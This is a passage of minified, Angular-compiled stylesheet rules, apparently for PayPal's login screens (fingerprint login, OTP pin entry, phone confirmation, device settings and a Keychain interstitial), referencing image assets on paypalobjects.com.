.headerIconThumbprint[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .headerIconThumbprint[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/fingerprint-paypal_2x.png) no-repeat top center;background-size:96px}}.fpOptIn[_ngcontent-%COMP%] .identityPhone[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .identityPhone[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/unifiedLogin/identity-phone.svg) center center no-repeat;background-size:146px 146px;height:146px;margin:72px auto 24px}.fpOptIn[_ngcontent-%COMP%] .headerIconAndroidThumbprint[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .headerIconAndroidThumbprint[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/icon_android_fp.png) no-repeat top center;background-size:96px 96px;width:96px;height:96px;margin:0 auto}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.fpOptIn[_ngcontent-%COMP%] .headerIconAndroidThumbprint[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .headerIconAndroidThumbprint[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/icon_android_fp_2x.png) no-repeat top center;background-size:96px}}.fpOptIn[_ngcontent-%COMP%] .headerIconThumbprintError[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .headerIconThumbprintError[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/fingerprint-error.png) no-repeat top center;background-size:96px 96px;width:96px;height:96px;margin:0 auto}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.fpOptIn[_ngcontent-%COMP%] .headerIconThumbprintError[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .headerIconThumbprintError[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/fingerprint-error_2x.png) no-repeat top center;background-size:96px}}.fpOptIn[_ngcontent-%COMP%] .headerIconSuccess[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .headerIconSuccess[_ngcontent-%COMP%]{margin-top:0;width:100%;height:100px;margin-bottom:20px;background:url(https://www.paypalobjects.com/images/shared/success-animation.gif) no-repeat top center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.fpOptIn[_ngcontent-%COMP%] .headerIconSuccess[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .headerIconSuccess[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/success-animation_2x.gif) no-repeat top center;background-size:100px}}.fpOptIn[_ngcontent-%COMP%] .fpOptInViewGroup[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .fpOptInViewGroup[_ngcontent-%COMP%]{text-align:center}.fpOptIn[_ngcontent-%COMP%] .description[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .description[_ngcontent-%COMP%]{font-weight:700;margin-bottom:12px;margin-top:25px;padding-left:12px;text-align:left}.fpOptIn[_ngcontent-%COMP%] .subHeader[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .subHeader[_ngcontent-%COMP%]{font-size:18px;line-height:24px}.fpOptIn[_ngcontent-%COMP%] .secondaryTextNote[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .secondaryTextNote[_ngcontent-%COMP%]{color:#9da3a6;font-size:15px;margin-top:8px}.fpOptIn[_ngcontent-%COMP%] .primaryTextNote[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .primaryTextNote[_ngcontent-%COMP%]{color:#2c2e2f;font-size:15px}.fpOptIn[_ngcontent-%COMP%] .descriptionList[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .descriptionList[_ngcontent-%COMP%]{margin:0 0 0 27px;text-align:left}.fpOptIn[_ngcontent-%COMP%] .descriptionList[_ngcontent-%COMP%] > li[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .descriptionList[_ngcontent-%COMP%] > li[_ngcontent-%COMP%]{margin-bottom:5px;padding-left:10px}.fpOptIn[_ngcontent-%COMP%] .actionsSpaced[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .actionsSpaced[_ngcontent-%COMP%]{margin-top:33px}.fpOptIn[_ngcontent-%COMP%] .secondaryLink[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .secondaryLink[_ngcontent-%COMP%]{margin-top:23px}.fpOptIn[_ngcontent-%COMP%] .notificationAlert[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .notificationAlert[_ngcontent-%COMP%]{border-radius:5px;border:1px solid #ff9600;display:table;font-size:15px;line-height:1.4;margin-bottom:5px;margin-top:12px;padding:14px;text-align:left;width:100%}.fpOptIn[_ngcontent-%COMP%] .notificationAlert.hide[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .notificationAlert.hide[_ngcontent-%COMP%]{display:none}.fpOptIn[_ngcontent-%COMP%] .notificationAlert[_ngcontent-%COMP%]:before, .fpLogin[_ngcontent-%COMP%] .notificationAlert[_ngcontent-%COMP%]:before{color:#ff9600;content:"\\e025";-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:inline;font-family:paypal-icons;font-weight:700;font-size:1.58rem;line-height:0;padding-right:12px;width:3em}.fpOptIn[_ngcontent-%COMP%] .notYouLogin[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .notYouLogin[_ngcontent-%COMP%]{text-align:center!important;max-width:100%!important}.fpOptIn[_ngcontent-%COMP%] .fpLoginTryAgain[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .fpLoginTryAgain[_ngcontent-%COMP%]{text-align:center}.fpLogin.checkout[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:24px}.pwFpIcon[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/fingerprint-paypal.png) no-repeat center;background-size:30px 30px;width:45px;height:45px;margin:0 auto;border:0;cursor:pointer;position:absolute;right:5px}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.pwFpIcon[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/fingerprint-paypal_2x.png) no-repeat center;background-size:30px}}.androidFP[_ngcontent-%COMP%] .headerTextWithAndroidIcon[_ngcontent-%COMP%]{font-size:2.1em;margin-top:0;padding-top:130px;padding-bottom:15px;background:url(https://www.paypalobjects.com/images/shared/icon_android_fp_2x.png) no-repeat top center;background-size:105px}.androidFP[_ngcontent-%COMP%] .headerIconSuccess[_ngcontent-%COMP%]{margin-top:33%;padding-top:130px;padding-bottom:15px;background:url(https://www.paypalobjects.com/images/shared/success-animation.gif) no-repeat top center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.androidFP[_ngcontent-%COMP%] .headerIconSuccess[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/success-animation_2x.gif) no-repeat top center;background-size:100px}}.androidFP[_ngcontent-%COMP%] .actionBottom[_ngcontent-%COMP%]{position:fixed;bottom:0;left:0;right:0;text-align:center;display:table;width:100%;padding:0}.androidFP[_ngcontent-%COMP%] .actionBottom[_ngcontent-%COMP%] .fpDisc[_ngcontent-%COMP%]{font-size:11px;color:#6c7378;padding:0 8%}.androidFP[_ngcontent-%COMP%] .actionBottom[_ngcontent-%COMP%] a.button[_ngcontent-%COMP%]{border-radius:0;padding:22px 2px;font-weight:500}.androidFP[_ngcontent-%COMP%] .actionBottom[_ngcontent-%COMP%] a.left[_ngcontent-%COMP%]{float:left;width:50%;border-right:1px solid #c1c1c1}@media all and (max-width: 767px){.androidFP[_ngcontent-%COMP%] .contentContainer[_ngcontent-%COMP%]{padding-top:20%;margin-top:0}}.slLanding[_ngcontent-%COMP%] .cart[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/icon-cart-d.svg) center center no-repeat;background-size:68px 56px;width:68px;height:56px;margin:0 auto}.slLanding[_ngcontent-%COMP%] .partnerIcon[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/icon-Google-account-d.svg) center center no-repeat;background-size:15px 15px;width:15px;height:15px;margin-right:5px;float:left;padding:0 10px 0 0;display:inline-block}.slLanding[_ngcontent-%COMP%] .partnerConnect[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/icon-cross_device-d.svg) center center no-repeat;background-size:240px 70px;width:300px;height:120px;margin:0 auto}.slLanding[_ngcontent-%COMP%] .unlinked[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:30px}.slLanding[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:24px;font-weight:300;padding:0;margin-top:0}.slLanding[_ngcontent-%COMP%] .displayName[_ngcontent-%COMP%]{font-size:16px;text-overflow:ellipsis;overflow:hidden}.slLanding[_ngcontent-%COMP%] .partnerPhoto[_ngcontent-%COMP%]{width:36px;height:36px;border-radius:50%;float:left;margin:30px 10px 0 20px;background-color:#ccc;background-size:cover;display:inline-block}.slLanding[_ngcontent-%COMP%] .partnerEmailDiv[_ngcontent-%COMP%]{font-size:12px;margin-top:3px;padding-right:35px}.slLanding[_ngcontent-%COMP%] .partnerEmailDiv[_ngcontent-%COMP%] .partnerEmail[_ngcontent-%COMP%]{vertical-align:top;max-width:100%;text-overflow:ellipsis;overflow:hidden}.slLanding[_ngcontent-%COMP%] .partnerEmailDiv[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{display:inline-block}.slLanding[_ngcontent-%COMP%] .partnerProfile[_ngcontent-%COMP%]{margin:0 20px 0 2px;padding-left:10px;padding-right:40px;width:98%}.slLanding[_ngcontent-%COMP%] .partnerDetails[_ngcontent-%COMP%]{width:70%;display:inline-block;margin:20px 10px 20px 0;white-space:nowrap}.slLanding[_ngcontent-%COMP%] .partnerDetails[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{font-size:13px;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}.slLanding[_ngcontent-%COMP%] .secondaryLink[_ngcontent-%COMP%]{margin:20px 0 0;text-align:center}.slLanding[_ngcontent-%COMP%] .secondaryLink[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{margin-top:20px}.slLanding[_ngcontent-%COMP%] .learnMoreModal[_ngcontent-%COMP%]{display:none;background:#fff;width:480px;height:auto;position:fixed;padding:18px 40px 20px;left:50%;top:50%;z-index:100;transform:translate(-50%,-50%);opacity:0;transition:opacity 1s;transition-timing-function:cubic-bezier(0,2.5,.25,-.25)}.slLanding[_ngcontent-%COMP%] .learnMoreModal[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{text-align:center}.slLanding[_ngcontent-%COMP%] .description[_ngcontent-%COMP%]{margin:5px 0 10px;text-align:center;line-height:20px;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}.slLanding[_ngcontent-%COMP%] .description[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{padding-left:3px}.slLanding[_ngcontent-%COMP%] .learnMoreLink[_ngcontent-%COMP%]{text-align:center;margin-left:5px}.slLanding[_ngcontent-%COMP%] .learnMoreLink[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{margin-top:3px}.slLanding[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{display:inline-block;margin-left:3px}.slLanding[_ngcontent-%COMP%] .profileRemembered[_ngcontent-%COMP%]{margin:20px 0;text-align:center;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}.slLanding[_ngcontent-%COMP%] .profileRemembered[_ngcontent-%COMP%] .loginEmail[_ngcontent-%COMP%]{text-align:center;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;vertical-align:top;padding-right:10px;max-width:300px;display:inline-block;-webkit-font-smoothing:subpixel-antialiased;-moz-osx-font-smoothing:grayscale}.slLanding[_ngcontent-%COMP%] .profileRemembered[_ngcontent-%COMP%] .changeLink[_ngcontent-%COMP%]{display:inline-block}.slLanding[_ngcontent-%COMP%] .actionsSpacedShort[_ngcontent-%COMP%]{margin-top:1px}.slLanding[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%]{margin-bottom:0}.slLanding[_ngcontent-%COMP%] .contentContainer[_ngcontent-%COMP%]{padding:8%}@media all and (max-height: 736px) and (max-width: 414px){.slLanding[_ngcontent-%COMP%] .contentContainer[_ngcontent-%COMP%]{margin-top:20px}}@media all and (max-height: 667px) and (max-width: 375px){.slLanding[_ngcontent-%COMP%] .partnerPhoto[_ngcontent-%COMP%]{margin-left:10px}.slLanding[_ngcontent-%COMP%] .partnerConnect[_ngcontent-%COMP%]{background-size:171px 50px}}@media all and (max-height: 568px) and (max-width: 320px){.slLanding[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%]{margin:0 auto 18px}.slLanding[_ngcontent-%COMP%] .partnerProfile[_ngcontent-%COMP%]{padding-left:0}.slLanding[_ngcontent-%COMP%] .unlinked[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:24px}.slLanding[_ngcontent-%COMP%] .partnerConnect[_ngcontent-%COMP%]{display:none}.slLanding[_ngcontent-%COMP%] .partnerPhoto[_ngcontent-%COMP%]{margin-left:0}}.popupWeb[_ngcontent-%COMP%]{position:absolute;top:0;right:0;width:440px;z-index:10;height:370px}.popupMobile[_ngcontent-%COMP%]{position:fixed;bottom:0;left:0;width:100%;z-index:10;height:100%}.settings-header[_ngcontent-%COMP%]{margin:0;padding:13px 15px 20px 0}.settings-header[_ngcontent-%COMP%] div[_ngcontent-%COMP%]{display:inline}.settings-header[_ngcontent-%COMP%] .cancel-wrapper[_ngcontent-%COMP%]{float:right;position:relative}.settings-header[_ngcontent-%COMP%] .cancel-wrapper[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-size:21px}.settings-header[_ngcontent-%COMP%] .cancel-wrapper[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{color:#666;cursor:pointer}.settings-header[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{display:inline-block;height:18px;text-decoration:none;font-weight:500}.settings-header[_ngcontent-%COMP%] .backButton[_ngcontent-%COMP%]{font-weight:600;padding-left:15px;color:#003087;font-size:larger;position:relative;top:5px}.settings[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:30px;line-height:42px}.settings[_ngcontent-%COMP%] .description[_ngcontent-%COMP%]{color:#000}.settings[_ngcontent-%COMP%] .devicesDescriptionOn[_ngcontent-%COMP%]{text-align:center}.settings[_ngcontent-%COMP%] .devicesDescriptionOff[_ngcontent-%COMP%]{font-weight:700}.settings[_ngcontent-%COMP%] #btnTurnOffAll[_ngcontent-%COMP%]{font-weight:700;text-decoration:none;cursor:pointer}.settings[_ngcontent-%COMP%] #deviceContainer[_ngcontent-%COMP%] > li[_ngcontent-%COMP%]:last-child{border-bottom:1px solid #b7bcbf}.settings[_ngcontent-%COMP%] #deviceContainer[_ngcontent-%COMP%] > li[_ngcontent-%COMP%]{border-top:1px solid #b7bcbf;overflow:hidden}.settings[_ngcontent-%COMP%] #deviceContainer[_ngcontent-%COMP%] > li[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{display:inline-block;width:75%}.settings[_ngcontent-%COMP%] #deviceContainer[_ngcontent-%COMP%] > li[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{float:right;margin-top:20px;font-weight:700;text-decoration:none;cursor:pointer}.settings[_ngcontent-%COMP%] .noteOn[_ngcontent-%COMP%], .settings[_ngcontent-%COMP%] .noteOff[_ngcontent-%COMP%]{font-size:13px;color:#6c7378;overflow:auto;white-space:normal}@media all and (max-width: 767px){.settings[_ngcontent-%COMP%] .deviceContainer[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{display:inline-block;float:none;vertical-align:top}}.enablePhonePassword[_ngcontent-%COMP%] .hideArrow[_ngcontent-%COMP%] .countryPhoneSelectChoice[_ngcontent-%COMP%]:after{content:none}.enablePhonePassword[_ngcontent-%COMP%] .hideArrow[_ngcontent-%COMP%] .countryPhoneSelectWrapper[_ngcontent-%COMP%]{width:77px}.enablePhonePassword[_ngcontent-%COMP%] .hideArrow[_ngcontent-%COMP%] .countryPhoneSelectWrapper[_ngcontent-%COMP%] .phoneCode[_ngcontent-%COMP%]{width:56%}.enablePhonePassword[_ngcontent-%COMP%] .phoneInputWrapper[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{padding-left:82px}.enablePhonePassword[_ngcontent-%COMP%] .secondaryLink[_ngcontent-%COMP%]{margin-top:15px}.enablePhonePassword[_ngcontent-%COMP%] .findOutMore[_ngcontent-%COMP%]{margin-top:15px}.enablePhonePassword[_ngcontent-%COMP%] .adjustHeader[_ngcontent-%COMP%], .verifyOtp[_ngcontent-%COMP%] .adjustHeader[_ngcontent-%COMP%]{margin-top:30px;padding-bottom:10px}.verifyOtp[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-input-placeholder{text-align:left}.verifyOtp[_ngcontent-%COMP%] [_ngcontent-%COMP%]:-moz-placeholder{text-align:left}.verifyOtp[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-moz-placeholder{text-align:left}.verifyOtp[_ngcontent-%COMP%] [_ngcontent-%COMP%]:-ms-input-placeholder{text-align:left}.phoneNumbers[_ngcontent-%COMP%]{border-top:1px solid #cbd2d6;margin-top:20px;padding:20px;text-align:left;margin-bottom:10px}.phoneNumbers[_ngcontent-%COMP%] .status[_ngcontent-%COMP%]{margin-top:5px;margin-bottom:5px}.phoneNumbers[_ngcontent-%COMP%] .mobileNumber[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{width:50%;display:inline-block;direction:ltr}.phoneNumbers[_ngcontent-%COMP%] .mobileNumber[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{width:50%;display:inline-block;text-align:right}.enterPhone[_ngcontent-%COMP%]{direction:ltr;padding-bottom:20px}.enterPhone[_ngcontent-%COMP%] .phoneCode[_ngcontent-%COMP%]{text-align:left}.enterPhoneMobile[_ngcontent-%COMP%]{direction:ltr}.enterPhoneMobile[_ngcontent-%COMP%] .phoneCode[_ngcontent-%COMP%]{text-align:left}.status[_ngcontent-%COMP%]{color:#999}.smsDisclaimer[_ngcontent-%COMP%]{margin-bottom:15px;margin-top:10px;font-size:13px;color:#6c7378}.smsDisclaimer[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{margin:0;color:#6c7378}.addPhoneDisclaimerUS[_ngcontent-%COMP%]{overflow:visible;font-size:13px;color:#6c7378}.addPhoneDisclaimerUS[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{margin:0;color:#6c7378}.slimTopP[_ngcontent-%COMP%]{margin-top:0}.slimTopP[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{white-space:nowrap;direction:ltr;display:inline-block}.otpSuccess[_ngcontent-%COMP%] .headerIcon[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/success-animation.gif) no-repeat top center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.otpSuccess[_ngcontent-%COMP%] .headerIcon[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/success-animation_2x.gif) no-repeat top center;background-size:100px}}.resend[_ngcontent-%COMP%]{z-index:2;position:absolute;top:32%;right:5%}.resend[_ngcontent-%COMP%] .sent[_ngcontent-%COMP%]{color:#1b9e1b}.resend[_ngcontent-%COMP%] .failed[_ngcontent-%COMP%]{color:#e00200;white-space:nowrap}.verifyOtpPrimary[_ngcontent-%COMP%] .resendLink[_ngcontent-%COMP%]{font-size:16px}.verifyOtpPrimary[_ngcontent-%COMP%] .resendLink[_ngcontent-%COMP%] span.sent[_ngcontent-%COMP%]{color:#1b9e1b}.verifyOtpPrimary[_ngcontent-%COMP%] .resendLink[_ngcontent-%COMP%] span.failed[_ngcontent-%COMP%]{color:#e00200;white-space:nowrap}.verifyOtpPrimary[_ngcontent-%COMP%] .sendSmsResendLink[_ngcontent-%COMP%]{margin:16px 0 32px}.verifyOtpPrimary[_ngcontent-%COMP%] .sendSmsMessage[_ngcontent-%COMP%]{font-size:16px;padding-bottom:12px;padding-right:5px}.verifyOtpPrimary[_ngcontent-%COMP%] .tryAnotherWayLink[_ngcontent-%COMP%]{font-size:16px;text-decoration:none;margin-top:32px}.verifyOtpPrimary[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%]{margin-bottom:40px;margin-top:50px}.verifyOtpPrimary[_ngcontent-%COMP%] .logoSpacing[_ngcontent-%COMP%]{margin-top:90px}.verifyOtpPrimary[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{margin-top:0}.verifyOtpPrimary[_ngcontent-%COMP%] .intentFooter[_ngcontent-%COMP%]{margin-top:100px}.verifyOtpPrimary[_ngcontent-%COMP%] a.button[_ngcontent-%COMP%]:link{padding:14px;border-radius:25px;height:48px}.verifyOtpPrimary[_ngcontent-%COMP%] .otpError[_ngcontent-%COMP%]{margin-top:30%}.verifyOtpPrimary[_ngcontent-%COMP%] .tryAnotherWayModal[_ngcontent-%COMP%]{display:none;position:fixed;z-index:1;left:0;top:0;width:100%;height:100%;background-color:#000;background-color:rgba(0,0,0,.4);-webkit-animation-name:fadeIn;-webkit-animation-duration:.4s;animation-name:fadeIn;animation-duration:.4s}.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%]{position:fixed;bottom:0;background-color:#fefefe;width:100%;height:200px;border-top-left-radius:8px;border-top-right-radius:8px;-webkit-animation-name:slideIn;-webkit-animation-duration:.4s;animation-name:slideIn;animation-duration:.4s;padding:16px}.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%] .modal-content-header[_ngcontent-%COMP%]{display:flex}.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%] .modal-content-header[_ngcontent-%COMP%] .modal-header-text[_ngcontent-%COMP%]{text-align:center;flex:1;font-weight:700}.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%] .modal-content-body[_ngcontent-%COMP%]{height:144px;margin-top:31px}.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%] .modal-content-body[_ngcontent-%COMP%] .loginWithPassword[_ngcontent-%COMP%]{display:flex}.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%] .modal-content-body[_ngcontent-%COMP%] .loginWithPassword[_ngcontent-%COMP%] .loginWithPasswordText[_ngcontent-%COMP%]{text-align:left;flex:1}.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%] .modal-content-body[_ngcontent-%COMP%] .setPassword[_ngcontent-%COMP%]{display:flex}.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%] .modal-content-body[_ngcontent-%COMP%] .setPassword[_ngcontent-%COMP%] .setPasswordText[_ngcontent-%COMP%]{text-align:left;flex:1}.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%] .modal-content-body[_ngcontent-%COMP%] .guestCheckout[_ngcontent-%COMP%]{display:flex;margin-top:24px}.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%] .modal-content-body[_ngcontent-%COMP%] .guestCheckout[_ngcontent-%COMP%] .guestCheckoutText[_ngcontent-%COMP%]{text-align:left;flex:1}@media only screen and (min-width: 768px){.verifyOtpPrimary[_ngcontent-%COMP%] .modal-content[_ngcontent-%COMP%]{position:unset;width:460px;margin:720px auto}}.verifyOtpPrimary[_ngcontent-%COMP%] .dialog-close[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/paypal-ui/icons/svg/close.svg) center center no-repeat;border-radius:0;cursor:pointer;border:0;right:7px;top:7px;padding:1px;width:25px;height:25px}.verifyOtpPrimary[_ngcontent-%COMP%] .chevron-right[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/paypal-ui/icons/svg/chevron-right.svg) center center no-repeat;border-radius:0;cursor:pointer;border:0;right:7px;top:7px;padding:1px;width:25px;height:25px}.verifyOtpPrimary[_ngcontent-%COMP%] .toast[_ngcontent-%COMP%]{visibility:hidden;min-width:250px;margin-left:-125px;background-color:#018065;color:#fff;text-align:center;border-radius:4px;padding:16px;position:fixed;z-index:1;left:50%;top:16px;font-size:17px;position:absolute}.verifyOtpPrimary[_ngcontent-%COMP%] .toast.showToast[_ngcontent-%COMP%]{visibility:visible;-webkit-animation:fadein .5s,fadeout .5s 2.5s;animation:fadein .5s,fadeout .5s 2.5s}.verifyOtpPrimary[_ngcontent-%COMP%] .codeSentMessage[_ngcontent-%COMP%]{position:static;width:146px;height:24px;left:30px;top:0}.verifyOtpPrimary[_ngcontent-%COMP%] .codeSentMessage[_ngcontent-%COMP%]:before{background-image:url(https://www.paypalobjects.com/paypal-ui/icons/svg/check-circle-alt.svg);background-repeat:no-repeat;background-size:100%;filter:invert(100%) sepia(98%) saturate(0%) hue-rotate(318deg) brightness(102%) contrast(103%);width:16px;height:16px;display:inline-block;content:" ";position:relative;top:1px;left:1px;margin-right:13px}.verifyOtpPrimary[_ngcontent-%COMP%] .otpDisplayCredentials[_ngcontent-%COMP%]{display:flex;margin-bottom:0;width:100%;background:#f6f6f6;font-size:16px;padding:16px;justify-content:center;position:absolute}.verifyOtpPrimary[_ngcontent-%COMP%] .otpDisplayCredentials[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-weight:700;text-align:right;white-space:nowrap}.verifyOtpPrimary[_ngcontent-%COMP%] .showModal[_ngcontent-%COMP%]{display:block}.otp-pin-container[_ngcontent-%COMP%]{position:relative;z-index:0;width:100%;display:flex;justify-content:space-evenly}.otp-pin-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{text-align:center;border:1px solid #9da3a6;caret-color:transparent;font-size:20px}.otp-pin-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]::-webkit-inner-spin-button, .otp-pin-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.otp-pin-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:focus{border:2px solid #009cde}.otp-pin-container[_ngcontent-%COMP%] .pin-box[_ngcontent-%COMP%]{align-items:center;background:#fff;box-sizing:border-box;border-radius:4px;width:40px;height:48px}.moveLeft[_ngcontent-%COMP%]{right:12%}.phoneConfirmationPhoneIcon[_ngcontent-%COMP%]{background-image:url(https://www.paypalobjects.com/images/dolphinPhConf/icon_mobilePhone_96_2x.png);background-repeat:no-repeat;background-position:center top;background-size:96px;height:96px}.phoneConfirmationSmsIcon[_ngcontent-%COMP%]{background-image:url(https://www.paypalobjects.com/images/dolphinPhConf/icon_sms_96_2x.png);background-repeat:no-repeat;background-position:center top;background-size:96px;height:96px}.numberRecognition[_ngcontent-%COMP%]{margin-top:0}.lineAboveButton[_ngcontent-%COMP%]{margin-top:0;margin-bottom:10px;font-size:13px;color:#6c7378}#keychain-education-image[_ngcontent-%COMP%]{display:flex;flex-direction:column;align-items:center;width:310px;padding-bottom:190px;margin-top:24px;margin-left:auto;margin-right:auto;background-image:url(https://www.paypalobjects.com/images/unifiedLogin/ic_iCloudKeychain_blue.png);background-size:contain;background-repeat:no-repeat;background-position:center}#keychain-education-image[_ngcontent-%COMP%] .keychain-prompt-message[_ngcontent-%COMP%]{position:absolute;font-size:16px;font-weight:900;color:#0070ba;transform:translateY(84px)}#keychain-interstitial[_ngcontent-%COMP%]{position:absolute;width:100%;height:100%;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}#keychain-interstitial[_ngcontent-%COMP%] div.decline[_ngcontent-%COMP%]{position:absolute;font-size:25px;top:22px;right:22px;cursor:pointer}@media (max-width: 330px){#keychain-interstitial[_ngcontent-%COMP%] div.decline[_ngcontent-%COMP%]{top:15px}}#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%]{display:flex;flex-direction:column;justify-content:center;align-items:center;margin-top:70px}@media (max-width: 330px){#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%]{margin-top:50px}}#keychain-interstitial[_ngcontent-%COMP%] .education.show-logo[_ngcontent-%COMP%] .paypal-logo-monogram[_ngcontent-%COMP%]{display:block;margin-top:75px;background-size:19px}#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .education-message[_ngcontent-%COMP%]{font-weight:300;font-size:30px;line-height:1.5;text-align:center;margin:0;width:325px}@media (max-width: 330px){#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .education-message[_ngcontent-%COMP%]{font-size:27px}}#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .education-sub-message[_ngcontent-%COMP%]{margin:10px 0 